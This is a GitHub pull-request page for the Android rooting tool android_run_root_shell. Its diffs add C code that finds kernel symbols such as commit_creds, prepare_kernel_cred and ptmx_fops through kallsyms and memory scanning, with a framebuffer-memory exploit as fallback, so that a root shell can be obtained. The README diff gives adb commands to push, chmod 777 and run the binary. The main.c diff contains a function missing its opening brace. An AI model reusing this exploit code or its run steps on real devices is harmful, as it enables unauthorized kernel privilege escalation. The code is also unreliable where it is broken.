Skip to content

root_shell #32

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 28 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
28 commits
Select commit Hold shift + click to select a range
d04d557
update subprojects
scoty755 Mar 10, 2014
2f8ce84
update subprojects
scoty755 Mar 11, 2014
4fd9163
update subprojects
scoty755 Apr 15, 2014
bc9670d
update subprojects
scoty755 Apr 20, 2014
455ecae
update subprojects
scoty755 May 15, 2014
cc59783
Change the module:libexploit
scoty755 May 15, 2014
cb3dcd4
update README.md
scoty755 May 22, 2014
6f85002
Expand tab.
May 3, 2014
4879632
Try to modify in struct cred directly when commit_creds() is failed.
fi01 Sep 17, 2014
5a89944
Merge branch 'master' of https://github.com/android-rooting-tools/and…
scoty755 Jan 31, 2015
7d446d8
Minor cleaning
scoty755 Jan 31, 2015
4b79d63
libexploit: Change the referenced sub-module
scoty755 Feb 1, 2015
84383e1
Update submodule
scoty755 Feb 1, 2015
a6d6c49
device_database: Change the referenced sub-module
scoty755 Feb 1, 2015
63da2b6
Update submodule
scoty755 Feb 1, 2015
c5e53f0
Update submodule
scoty755 Feb 1, 2015
02c4763
Update submodule
scoty755 Feb 12, 2015
cb77b9c
Add the installation function of su binary
scoty755 Feb 13, 2015
8ea5b5f
Grant permission to su binary
scoty755 Feb 15, 2015
d21884f
Merge function of get_essential_address
scoty755 Jul 4, 2015
339e2a4
updated readme
scoty755 Jul 4, 2015
80a735a
Exits the loop if the acquisition of the Symbol Address failed
scoty755 Jul 4, 2015
5675581
Revert "Exits the loop if the acquisition of the Symbol Address failed"
scoty755 Jul 5, 2015
1d2fa33
Update submodule
scoty755 Jul 20, 2015
5ab1afb
Change the get method of the symbol address
scoty755 Oct 15, 2015
999e679
Revert "updated readme"
scoty755 Oct 15, 2015
49a834f
Merge branch 'master' of https://github.com/android-rooting-tools/and…
scoty755 Oct 15, 2015
7456c4b
Change the setup process
scoty755 Dec 17, 2015
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions .gitmodules
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
[submodule "device_database"]
path = device_database
url = git://github.com/android-rooting-tools/android_device_database.git
url = https://github.com/scoty755/android_device_database.git
[submodule "libkallsyms"]
path = libkallsyms
url = https://github.com/android-rooting-tools/libkallsyms.git
[submodule "libexploit"]
path = libexploit
url = https://github.com/android-rooting-tools/libexploit.git
url = https://github.com/scoty755/libexploit.git
1 change: 1 addition & 0 deletions Android.mk
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ include $(CLEAR_VARS)

LOCAL_SRC_FILES := \
cred.c \
get_address.c \
kallsyms.c \
main.c \
mm.c \
Expand Down
10 changes: 5 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ Building
`export PATH=ANDK_DIR:$PATH`

* In another directory clone this repo:
`git clone --recursive https://github.com/android-rooting-tools/android_run_root_shell`
`git clone --recursive https://github.com/scoty755/android_run_root_shell.git`

* Change to the directory where the repo was cloned
`cd android_run_root_shell`
Expand All @@ -22,7 +22,7 @@ Building
`ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk`

* If all goes well you will get the compiled binary at:
`./libs/armeabi/run_root_shell`
`./libs/armeabi/run_root_shell` and `./device_database/device.db`


Running
Expand All @@ -41,10 +41,10 @@ Running
`sudo adb start-server`

* Transfer run_root_shell to a temporary directory on the phone:
`adb push run_root_shell /data/local`
`adb push run_root_shell /data/local/tmp` and `adb push device.db /data/local/tmp`

* Ensure that run_root_shell has execute permissions:
`adb shell chmod 777 /data/local/run_root_shell`
`adb shell chmod 777 /data/local/tmp/*`

* Run the command on the phone:
`adb shell /data/local/run_root_shell`
`adb shell /data/local/tmp/run_root_shell`
2 changes: 1 addition & 1 deletion device_database
222 changes: 222 additions & 0 deletions get_address.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,222 @@
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define _LARGEFILE64_SOURCE
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

#include <sys/system_properties.h>
#include "device_database.h"
#include "cred.h"
#include "mm.h"
#include "ptmx.h"
#include "libexploit/exploit.h"
#include "libkallsyms/kallsyms_in_memory.h"

static void *vmalloc_exec;

static bool
has_all_essential_addresses(void)
{
if (prepare_kernel_cred
&& commit_creds
&& remap_pfn_range
&& vmalloc_exec
&& ptmx_fops) {
return true;
}

return false;
}

bool
setup_vmalloc_exec_address(void)
{
if (vmalloc_exec) {
return true;
}

vmalloc_exec = (void *)device_get_symbol_address(DEVICE_SYMBOL(vmalloc_exec));

if (!vmalloc_exec && kallsyms_exist()) {
vmalloc_exec = (void *)kallsyms_get_symbol_address("vmalloc_exec");
}

return !!vmalloc_exec;
}

static bool
find_ptmx_fops_address(kallsyms *info, void *mem, size_t length)
{
find_ptmx_fops_hint_t hint;

hint.ptmx_open_address = kallsyms_in_memory_lookup_name(info, "ptmx_open");
if (!hint.ptmx_open_address) {
return false;
}

hint.tty_release_address = kallsyms_in_memory_lookup_name(info, "tty_release");
if (!hint.tty_release_address) {
return false;
}

hint.tty_fasync_address = kallsyms_in_memory_lookup_name(info, "tty_fasync");
if (!hint.tty_fasync_address) {
return false;
}

return setup_ptmx_fops_address_in_memory(mem, length, &hint);
}

static bool
find_variables_in_memory(void *mem, size_t length)
{
kallsyms *info;

printf("Search address in memory...\n");

info = kallsyms_in_memory_init(mem, length);
if (info) {
printf("Using kallsyms_in_memory...\n");

if (!prepare_kernel_cred) {
prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred");
}

if (!commit_creds) {
commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds");
}

if (!remap_pfn_range) {
remap_pfn_range = (void *)kallsyms_in_memory_lookup_name(info, "remap_pfn_range");
}

if (!vmalloc_exec) {
vmalloc_exec = (void *)kallsyms_in_memory_lookup_name(info, "vmalloc_exec");
}

if (!ptmx_fops) {
ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops");

if (!ptmx_fops) {
find_ptmx_fops_address(info, mem, length);
}
}

kallsyms_in_memory_free(info);

if (has_all_essential_addresses()) {
return true;
}
}

setup_prepare_kernel_cred_address_in_memory(mem, length);
setup_commit_creds_address_in_memory(mem, length);

return has_all_essential_addresses();
}

static bool
setup_variables(void)
{
setup_prepare_kernel_cred_address();
setup_commit_creds_address();
setup_remap_pfn_range_address();
setup_vmalloc_exec_address();
setup_ptmx_fops_address();

if (has_all_essential_addresses()) {
return true;
}

printf("Try to find address in memory...\n");
if (!run_with_mmap(find_variables_in_memory)) {
printf("\n");
run_with_memcpy(find_variables_in_memory);
}

if (has_all_essential_addresses()) {
return true;
}

if (!prepare_kernel_cred) {
printf("Failed to get prepare_kernel_cred address.\n");
}

if (!commit_creds) {
printf("Failed to get commit_creds address.\n");
}

if (!remap_pfn_range) {
printf("Failed to get remap_pfn_range address.\n");
}

if (!vmalloc_exec) {
printf("Failed to get vmalloc_exec address.\n");
}

if (!ptmx_fops) {
printf("Failed to get ptmx_fops address.\n");
}

return false;
}

static void
register_address(void)
{
#ifdef HAS_SET_SYMBOL_ADDRESS
printf("Essential address are:\n");

if (device_set_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred), (unsigned long int)prepare_kernel_cred)) {
printf(" prepare_kernel_cred = %p\n", prepare_kernel_cred);
}

if (device_set_symbol_address(DEVICE_SYMBOL(commit_creds), (unsigned long int)commit_creds)) {
printf(" commit_creds = %p\n", commit_creds);
}

if (device_set_symbol_address(DEVICE_SYMBOL(remap_pfn_range), (unsigned long int)remap_pfn_range)) {
printf(" remap_pfn_range = %p\n", remap_pfn_range);
}

if (device_set_symbol_address(DEVICE_SYMBOL(vmalloc_exec), (unsigned long int)vmalloc_exec)) {
printf(" vmalloc_exec = %p\n", vmalloc_exec);
}

if (device_set_symbol_address(DEVICE_SYMBOL(ptmx_fops), (unsigned long int)ptmx_fops)) {
printf(" ptmx_fops = %p\n", ptmx_fops);
}
#endif /* HAS_SET_SYMBOL_ADDRESS */
}

bool
get_address(void)
{
printf("Try without fb_mem_exploit fist...\n\n");
set_fb_mem_exploit_enable(false);

if (!setup_variables()) {
printf("\n\n");

printf("Try again with fb_mem_exploit...\n\n");
set_fb_mem_exploit_enable(true);
if (!setup_variables()) {
printf("Failed to setup variables.\n");
return false;
}
}

register_address();

return true;
}
/*
vi:ts=2:nowrap:ai:expandtab:sw=2
*/

2 changes: 1 addition & 1 deletion libexploit
2 changes: 1 addition & 1 deletion libkallsyms
Submodule libkallsyms updated 1 files
+19 −57 kallsyms_in_memory.c
31 changes: 30 additions & 1 deletion main.c
Original file line number Diff line number Diff line change
Expand Up @@ -299,6 +299,18 @@ bool find_variables_in_memory(void *mem, size_t length)
return prepare_kernel_cred && commit_creds && ptmx_fops;
}

bool
try_get_symbol(void)
{
if (get_address()) {
return true;
}

print_reason_device_not_supported();

return false;
}

bool
setup_variables(void)
{
Expand Down Expand Up @@ -347,6 +359,23 @@ setup_variables(void)
return false;
}

bool
try_lookup_symbol(void)

if (setup_variables()) {
return true;
}


if (try_get_symbol()) {
printf("This device information has been added to the database!\n");
return true;
}

return false;

}

int
main(int argc, char **argv)
{
Expand All @@ -362,7 +391,7 @@ main(int argc, char **argv)

device_detected();

if (!setup_variables()) {
if (!try_lookup_symbol()) {
printf("Failed to setup variables.\n");
exit(EXIT_FAILURE);
}
Expand Down